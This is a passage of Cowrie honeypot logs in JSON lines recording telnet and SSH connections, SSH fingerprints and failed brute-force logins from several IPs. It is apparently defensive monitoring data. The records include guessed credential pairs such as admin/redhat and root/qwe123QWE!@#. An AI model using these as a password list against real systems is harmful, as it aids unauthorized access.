{"eventid":"cowrie.session.closed","duration":33.51694130897522,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:19.166169Z","src_ip":"46.4.8.162","session":"9e9fd1acc2bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57336,"dst_ip":"159.203.135.109","dst_port":23,"session":"4275b7b4b6c5","protocol":"telnet","message":"New connection: 46.4.8.162:57336 (159.203.135.109:23) [session: 4275b7b4b6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:24.779418Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":39328,"dst_ip":"159.203.135.109","dst_port":23,"session":"17a99a448851","protocol":"telnet","message":"New connection: 46.4.8.162:39328 (159.203.135.109:23) [session: 17a99a448851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:37.206148Z"}
{"eventid":"cowrie.session.closed","duration":34.37921190261841,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:41.185899Z","src_ip":"46.4.8.162","session":"2c1cd52d076d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":54222,"dst_ip":"159.203.135.109","dst_port":23,"session":"83f34f504298","protocol":"telnet","message":"New connection: 46.4.8.162:54222 (159.203.135.109:23) [session: 83f34f504298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:46.721781Z"}
{"eventid":"cowrie.session.closed","duration":33.12407350540161,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:49.019270Z","src_ip":"46.4.8.162","session":"c8ead1b93e68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":52776,"dst_ip":"159.203.135.109","dst_port":23,"session":"56780351f847","protocol":"telnet","message":"New connection: 46.4.8.162:52776 (159.203.135.109:23) [session: 56780351f847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:57.238292Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37040,"dst_ip":"159.203.135.109","dst_port":22,"session":"71da290d8356","protocol":"ssh","message":"New connection: 159.203.92.129:37040 (159.203.135.109:22) [session: 71da290d8356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:00.331352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:00.338600Z","src_ip":"159.203.92.129","session":"71da290d8356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:00.346300Z","src_ip":"159.203.92.129","session":"71da290d8356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redhat","message":"login attempt [admin/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:00.384079Z","src_ip":"159.203.92.129","session":"71da290d8356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:01.405657Z","src_ip":"159.203.92.129","session":"71da290d8356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.406505823135376,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:03.185792Z","src_ip":"46.4.8.162","session":"4275b7b4b6c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":44636,"dst_ip":"159.203.135.109","dst_port":22,"session":"078d91cf244b","protocol":"ssh","message":"New connection: 185.239.84.249:44636 (159.203.135.109:22) [session: 078d91cf244b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:13.548889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:13.553804Z","src_ip":"185.239.84.249","session":"078d91cf244b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:13.765471Z","src_ip":"185.239.84.249","session":"078d91cf244b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.83098363876343,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:14.037017Z","src_ip":"46.4.8.162","session":"17a99a448851","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123QWE!@#","message":"login attempt [root/qwe123QWE!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:14.404295Z","src_ip":"185.239.84.249","session":"078d91cf244b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:15.627754Z","src_ip":"185.239.84.249","session":"078d91cf244b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.932308197021484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:18.653943Z","src_ip":"46.4.8.162","session":"83f34f504298","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":51970,"dst_ip":"159.203.135.109","dst_port":23,"session":"71b637f2f906","protocol":"telnet","message":"New connection: 46.4.8.162:51970 (159.203.135.109:23) [session: 71b637f2f906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:26.312790Z"}
{"eventid":"cowrie.session.closed","duration":32.59202599525452,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:29.830217Z","src_ip":"46.4.8.162","session":"56780351f847","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51314,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1a45b307db9","protocol":"ssh","message":"New connection: 159.203.92.129:51314 (159.203.135.109:22) [session: e1a45b307db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:45.480751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:45.485614Z","src_ip":"159.203.92.129","session":"e1a45b307db9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:45.490101Z","src_ip":"159.203.92.129","session":"e1a45b307db9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redhat123","message":"login attempt [admin/redhat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:45.501300Z","src_ip":"159.203.92.129","session":"e1a45b307db9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:46.507808Z","src_ip":"159.203.92.129","session":"e1a45b307db9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":49481,"dst_ip":"10.17.0.5","dst_port":22,"session":"63626f7a2431","protocol":"ssh","message":"New connection: 212.154.234.9:49481 (10.17.0.5:22) [session: 63626f7a2431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:48.649242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:48.654181Z","src_ip":"212.154.234.9","session":"63626f7a2431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:48.837141Z","src_ip":"212.154.234.9","session":"63626f7a2431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test2test","message":"login attempt [root/test2test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:49.599801Z","src_ip":"212.154.234.9","session":"63626f7a2431","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:39:50.784939Z","src_ip":"212.154.234.9","session":"63626f7a2431","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.51073169708252,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:40:00.823411Z","src_ip":"46.4.8.162","session":"71b637f2f906","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":34452,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dc2ade930d0","protocol":"ssh","message":"New connection: 185.239.84.249:34452 (159.203.135.109:22) [session: 6dc2ade930d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:40:13.574175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:40:13.579827Z","src_ip":"185.239.84.249","session":"6dc2ade930d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:40:13.799015Z","src_ip":"185.239.84.249","session":"6dc2ade930d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123dev","message":"login attempt [dev/123dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:40:14.684053Z","src_ip":"185.239.84.249","session":"6dc2ade930d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:40:15.900406Z","src_ip":"185.239.84.249","session":"6dc2ade930d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59092,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b0576055c2c","protocol":"ssh","message":"New connection: 159.203.92.129:59092 (159.203.135.109:22) [session: 9b0576055c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:40:30.787238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:40:30.792763Z","src_ip":"159.203.92.129","session":"9b0576055c2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:40:30.799872Z","src_ip":"159.203.92.129","session":"9b0576055c2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redis","message":"login attempt [admin/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:40:30.815397Z","src_ip":"159.203.92.129","session":"9b0576055c2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:40:31.824574Z","src_ip":"159.203.92.129","session":"9b0576055c2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":43256,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c91fb3a415b","protocol":"telnet","message":"New connection: 46.4.8.162:43256 (159.203.135.109:23) [session: 1c91fb3a415b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:06.939798Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":38692,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e6acd836c3a","protocol":"ssh","message":"New connection: 185.239.84.249:38692 (159.203.135.109:22) [session: 6e6acd836c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:13.164620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:13.169418Z","src_ip":"185.239.84.249","session":"6e6acd836c3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.